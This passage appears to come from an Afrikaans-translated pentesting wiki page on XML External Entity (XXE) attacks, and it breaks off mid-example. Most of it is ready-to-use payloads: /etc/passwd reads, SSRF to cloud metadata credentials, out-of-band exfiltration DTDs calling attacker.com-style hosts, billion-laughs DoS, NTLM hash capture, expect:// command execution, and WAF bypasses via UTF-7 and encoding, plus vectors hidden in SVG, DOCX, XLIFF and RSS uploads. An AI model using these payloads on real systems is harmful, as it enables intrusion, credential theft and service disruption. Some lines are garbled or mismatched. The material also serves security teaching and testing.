XXE - XEE - XML Externe Entiteit

Reading time: 29 minutes

XML Basiese Beginsels

XML is 'n opmaaktaal wat ontwerp is vir datastoor en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing vir etikette toelaat. Dit verskil van HTML deurdat dit nie beperk is tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.

• Data voorstelling deur Entiteite: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos < en >, wat ooreenstem met < en > om konflik met XML se etikette stelsel te vermy.
• Definiëring van XML Elemente: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
• Dokumenttipe Definisie (DTD): DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
• Pasgemaakte en Eksterne Entiteite: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, bring sekuriteitskwessies mee, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
• XXE Opsporing met Parameter Entiteite: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk as gevolg van parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
• <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
• <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Hoofaanvalle

Meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe

Nuwe Entiteit toets

In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Lees lêer

Kom ons probeer om /etc/passwd op verskillende maniere te lees. Vir Windows kan jy probeer om te lees: C:\windows\system32\drivers\etc\hosts

In hierdie eerste geval let op dat SYSTEM "**file:///**etc/passwd" ook sal werk.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Hierdie tweede geval behoort nuttig te wees om 'n lêer te onttrek as die webbediener PHP gebruik (nie die geval van Portswiggers laboratoriums nie)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

In hierdie derde geval let op dat ons die Element stockCheck as ANY verklaar.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Gidslys

In Java gebaseerde toepassings kan dit moontlik wees om die inhoud van 'n gids te lys via XXE met 'n payload soos (net vra vir die gids in plaas van die lêer):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

'n XXE kan gebruik word om 'n SSRF binne 'n wolk te misbruik

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Met die voorheen kommentaar gelede tegniek kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat XML-entiteite nie toegelaat word nie; in daardie geval kan jy probeer om XML-parameterentiteite te gebruik:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Exfiltreer data uit-band

In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit uit te haal via _ftp://_ met hierdie basiese bediener byvoorbeeld xxe-ftp-server.rb). Hierdie verduideliking is gebaseer op Portswiggers lab hier.

In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data uit te haal:

Kwaadwillige DTD Voorbeeld:

Die struktuur is soos volg:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Die stappe wat deur hierdie DTD uitgevoer word, sluit in:

1. Definisie van Parameter Entiteite:

• 'n XML parameter entiteit, %file, word geskep, wat die inhoud van die /etc/hostname lêer lees.
• 'n Ander XML parameter entiteit, %eval, word gedefinieer. Dit verklaar dinamies 'n nuwe XML parameter entiteit, %exfiltrate. Die %exfiltrate entiteit is ingestel om 'n HTTP versoek na die aanvaller se bediener te maak, wat die inhoud van die %file entiteit binne die navraagstring van die URL deurgee.

2. Uitvoering van Entiteite:

• Die %eval entiteit word gebruik, wat lei tot die uitvoering van die dinamiese verklaring van die %exfiltrate entiteit.
• Die %exfiltrate entiteit word dan gebruik, wat 'n HTTP versoek na die gespesifiseerde URL met die lêer se inhoud aktiveer.

Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer, tipies by 'n URL soos http://web-attacker.com/malicious.dtd.

XXE Payload: Om 'n kwesbare toepassing te benut, stuur die aanvaller 'n XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Hierdie payload definieer 'n XML parameterentiteit %xxe en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe uit wat in die kwaadwillige DTD uiteengesit is en lei tot die ekfiltrasie van die /etc/hostname-lêer na die aanvaller se bediener.

Foutgebaseerd (Eksterne DTD)

In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lêer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien). Voorbeeld hier.

'n XML-parsing foutboodskap, wat die inhoud van die /etc/passwd-lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:

1. 'n XML parameterentiteit genaamd file word gedefinieer, wat die inhoud van die /etc/passwd-lêer bevat.
2. 'n XML parameterentiteit genaamd eval word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd error inkorporeer. Hierdie error entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van die file entiteit as sy naam inkorporeer.
3. Die eval entiteit word aangeroep, wat lei tot die dinamiese verklaring van die error entiteit.
4. Aanspreking van die error entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap genereer wat die inhoud van die /etc/passwd-lêer as deel van die lêernaam insluit.

Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd file.

Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede (**eval**), maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).

Foutgebaseerd (sisteem DTD)

So wat van blinde XXE kwesbaarhede wanneer uit-baan interaksies geblokkeer is (eksterne verbindings is nie beskikbaar nie)?

'n Gaping in die XML-taal spesifikasie kan sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng. Hierdie probleem maak die interne herdefinisie van entiteite wat eksterne verklaar is moontlik, wat die uitvoering van foutgebaseerde XXE-aanvalle vergemaklik. Sulke aanvalle benut die herdefinisie van 'n XML parameter entiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.

Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by /usr/local/app/schema.dtd, wat 'n entiteit genaamd custom_entity definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die /etc/passwd lêer onthul deur 'n hibriede DTD soos volg in te dien:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>

Die uiteengesette stappe word uitgevoer deur hierdie DTD:

• Die definisie van 'n XML parameterentiteit genaamd local_dtd sluit die eksterne DTD-lêer in wat op die bediener se lêerstelsel geleë is.
• 'n Herdefinisie vind plaas vir die custom_entity XML parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om 'n fout-gebaseerde XXE-uitbuiting te omhul. Hierdie herdefinisie is ontwerp om 'n ontledingsfout uit te lok, wat die inhoud van die /etc/passwd lêer blootstel.
• Deur die local_dtd entiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerde custom_entity insluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die uitbuiting beoog word.

Werklike wêreld voorbeeld: Stelsels wat die GNOME-bureaubladomgewing gebruik, het dikwels 'n DTD by /usr/share/yelp/dtd/docbookx.dtd wat 'n entiteit genaamd ISOamso bevat.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Aangesien hierdie tegniek 'n interne DTD gebruik, moet jy eers 'n geldige een vind. Jy kan dit doen deur die dieselfde OS / sagteware te installeer wat die bediener gebruik en sommige standaard DTD's te soek, of 'n lys van standaard DTD's binne stelsels te gryp en te kontroleer of enige van hulle bestaan:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Vir meer inligting, kyk na https://portswigger.net/web-security/xxe/blind

Vind DTDs binne die stelsel

In die volgende wonderlike github repo kan jy paaie van DTDs wat in die stelsel teenwoordig kan wees vind:

dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub

Boonop, as jy die Docker beeld van die slagoffer stelsel het, kan jy die hulpmiddel van dieselfde repo gebruik om die beeld te skandeer en die pad van DTDs wat binne die stelsel teenwoordig is, te vind. Lees die Readme van die github om te leer hoe.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

Vir 'n meer diepgaande verduideliking van hierdie aanval, kyk na die tweede afdeling van hierdie wonderlike pos van Detectify.

Die vermoë om Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lêer moet parse.

Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n Microsoft Office-lêer wat 'n XXE-payload bevat, te skep. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontpak kan word.

Sodra die dokument ontpak is, moet die XML-lêer geleë by ./unzipped/word/document.xml geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.

Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.

Laastens kan die lêer gezip word om die kwaadwillige poc.docx-lêer te skep. Vanuit die voorheen geskepte "unzipped" gids, moet die volgende opdrag uitgevoer word:

Nou kan die geskepte lêer na die potensieel kwesbare webtoepassing opgelaai word, en 'n mens kan hoop vir 'n versoek om in die Burp Collaborator-logs te verskyn.

Jar: protocol

Die jar protokol is eksklusief beskikbaar binne Java-toepassings. Dit is ontwerp om lêertoegang binne 'n PKZIP argief (bv. .zip, .jar, ens.) moontlik te maak, wat beide plaaslike en afstandslêers dek.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-protokol behels verskeie stappe:

1. 'n HTTP-versoek word gemaak om die zip-argief van 'n gespesifiseerde ligging af te aflaai, soos https://download.website.com/archive.zip.
2. Die HTTP-antwoord wat die argief bevat, word tydelik op die stelsel gestoor, tipies in 'n ligging soos /tmp/....
3. Die argief word dan onttrek om toegang tot sy inhoud te verkry.
4. Die spesifieke lêer binne die argief, file.zip, word gelees.
5. Na die operasie word enige tydelike lêers wat tydens hierdie proses geskep is, verwyder.

'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperkt oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by hierdie repository kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (slow_http_server.py) en 'n Java-bediener (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Biljoen Lag Aanval

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml-aanval

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Kwadratiese Blowup Aanval

Verkryging van NTML

Op Windows-gasheer is dit moontlik om die NTML-hash van die webbediener gebruiker te verkry deur 'n responder.py handler in te stel:

Responder.py -I eth0 -v

en deur die volgende versoek te stuur

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Then you can try to crack the hash using hashcat

Verborgen XXE Oppervlakke

XInclude

Wanneer kliëntdata in server-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die DOCTYPE element. 'n XInclude aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n deur die bediener gegenereerde XML-dokument beheer kan word.

Om 'n XInclude aanval uit te voer, moet die XInclude naamruimte verklaar word, en die lêerpad vir die beoogde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Kontrollere https://portswigger.net/web-security/xxe vir meer inligting!

SVG - Lêeroplaai

Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevatte lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.

Wanneer gebruikers beelde oplaai, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.

'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

'n Ander metode behels die poging om opdragte deur die PHP "expect" wrapper uit te voer:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

In beide gevalle word die SVG-formaat gebruik om aanvalle te loods wat die XML-verwerkingsvermoëns van die bediener se sagteware benut, wat die behoefte aan robuuste invoervalidasie en sekuriteitsmaatreëls beklemtoon.

Kyk na https://portswigger.net/web-security/xxe vir meer inligting!

Let daarop dat die eerste lyn van die geleesde lêer of van die resultaat van die uitvoering BINNE die geskepte beeld sal verskyn. So jy moet in staat wees om toegang te verkry tot die beeld wat SVG geskep het.

PDF - Lêer opgelaai

Lees die volgende pos om te leer hoe om 'n XXE te benut deur 'n PDF lêer op te laai:

PDF Upload - XXE and CORS bypass

Inhoudstipe: Van x-www-urlencoded na XML

As 'n POST-versoek die data in XML-formaat aanvaar, kan jy probeer om 'n XXE in daardie versoek te benut. Byvoorbeeld, as 'n normale versoek die volgende bevat:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Dan mag jy dalk die volgende versoek indien, met dieselfde resultaat:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Van JSON na XEE

Om die versoek te verander, kan jy 'n Burp-uitbreiding gebruik genaamd “Content Type Converter“. Here you can find this example:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}

Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Nog 'n voorbeeld kan gevind word hier.

WAF & Beskerming Omseilings

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Dit werk net as die XML-bediener die data:// protokol aanvaar.

UTF-7

Jy kan die ["Encode Recipe" van cyberchef hier ]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transformeer na UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

As die web PHP gebruik, kan jy in plaas van file:/ php wrappersphp://filter/convert.base64-encode/resource= gebruik om interne lêers te toegang.

As die web Java gebruik, kan jy die jar: protocol nagaan.

HTML Entities

Truk van https://github.com/Ambrotd/XXE-Notes
Jy kan 'n entiteit binne 'n entiteit skep deur dit met html entities te kodeer en dit dan aan te roep om 'n dtd te laai.
Let daarop dat die HTML Entities wat gebruik word numeries moet wees (soos [in hierdie voorbeeld](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD voorbeeld:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Onttrek index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Onttrek eksterne hulpbron

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Afgeleë kode-uitvoering

As die PHP "expect" module gelaai is

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Hierdie voorbeeld is geïnspireer deur https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsproses oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaar-geassisteerde Vertaling) gereedskap.

Blind Versoek Analise

'n Versoek word aan die bediener gemaak met die volgende inhoud:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

egter, hierdie versoek veroorsaak 'n interne bedienerfout, wat spesifiek 'n probleem met die merkverklarings noem:

{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}

Ten spyte van die fout, word 'n treffer op Burp Collaborator aangeteken, wat 'n sekere vlak van interaksie met die eksterne entiteit aandui.

Out of Band Data Exfiltration Om data te eksfiltreer, word 'n gewysigde versoek gestuur:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Aangetekende beperking van hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.

Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikenlêer insluit:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Die bediener antwoord met 'n fout, wat belangrik die nie-bestaande lêer reflekteer, wat aandui dat die bediener probeer om toegang te verkry tot die gespesifiseerde lêer:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aangepas:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.

RSS - XEE

Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.

Ping back

Eenvoudige HTTP-versoek na die aanvallers se bediener

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Lees lêer

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
